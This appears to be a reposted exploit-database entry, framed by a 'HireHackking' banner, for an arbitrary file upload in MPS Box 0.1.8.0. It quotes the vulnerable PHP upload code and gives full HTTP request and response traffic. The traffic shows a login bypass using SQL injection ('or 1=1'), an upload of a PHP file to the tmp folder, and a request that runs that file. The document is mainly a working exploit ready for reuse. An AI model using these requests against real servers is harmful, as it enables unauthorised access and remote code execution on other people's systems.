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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: MPS Box 0.1.8.0 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-10-25
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.mpsbox.com/
# Software Link: https://sourceforge.net/projects/mpsbox/files/latest/download
# Version: 0.1.8.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/device_add.php
# 
# http://localhost/[PATH]/tmp/[FILE]
# 
# [PATH]/device_add.php
# ....
# 51 if(isset($_POST['upload'])) {
# 52 
# 53 $uploaddir = realpath(dirname(__FILE__)) . '/tmp/';
# 54 $uploadfile = $uploaddir . basename($_FILES['files_to_upload']['name']);
# 55 
# 56 if (move_uploaded_file($_FILES['files_to_upload']['tmp_name'], $uploadfile)) {
# 57 //	$_SESSION['status'] = "File is valid, and was successfully uploaded.\n";
# 58 
# 59 	$file_handle = fopen($uploadfile, "r");
# 60 	while (!feof($file_handle) ) {
# 61 	$line_of_text = fgetcsv($file_handle, 1024);
# 62 	if(!empty($line_of_text[0])) {
# 63 	device_queue_add('new','',"$line_of_text[0]","$line_of_text[1]",'','1');
# 64 	}
# 65 	}
# ....

POST /[PATH]/login_page.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/login_page.php
Cookie: PHPSESSID=c1lc3729cfh58b72udo055urg7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
username=%27or+1%3D1+or+%27%27%3D%27&password=%27or+1%3D1+or+%27%27%3D%27&login=Login
HTTP/1.1 302 Found
Date: Thu, 25 Oct 2018 13:34:44 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://localhost/[PATH]/device_add.php
Content-Length: 5652
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


POST http://localhost/[PATH]/device_add.php HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c1lc3729cfh58b72udo055urg7
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------20568543311864623172004480142
Content-Length: 509
-----------------------------20568543311864623172004480142
Content-Disposition: form-data; name="files_to_upload"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------20568543311864623172004480142
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
-----------------------------20568543311864623172004480142
Content-Disposition: form-data; name="upload"
Upload
-----------------------------20568543311864623172004480142--
HTTP/1.1 302 Found
Date: Thu, 25 Oct 2018 13:35:07 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: device_upd.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


GET http://localhost/[PATH]/tmp/phpinfo.php HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c1lc3729cfh58b72udo055urg7
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 25 Oct 2018 13:35:38 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html>
<body>
<form class="form_nontbl" action="http://localhost/[PATH]/device_add.php" enctype="multipart/form-data" method="POST">
<label>Select file</label><br>
<input name="files_to_upload" type="file"><br>
<a href="/inc/printers.csv">CSV file template</a>
<label>&nbsp;</label><br>
<input name="MAX_FILE_SIZE" value="100000" type="hidden">
<input accept="csv" class="button alt2" name="upload" value="Upload" type="submit">
</form>
</body>
</html>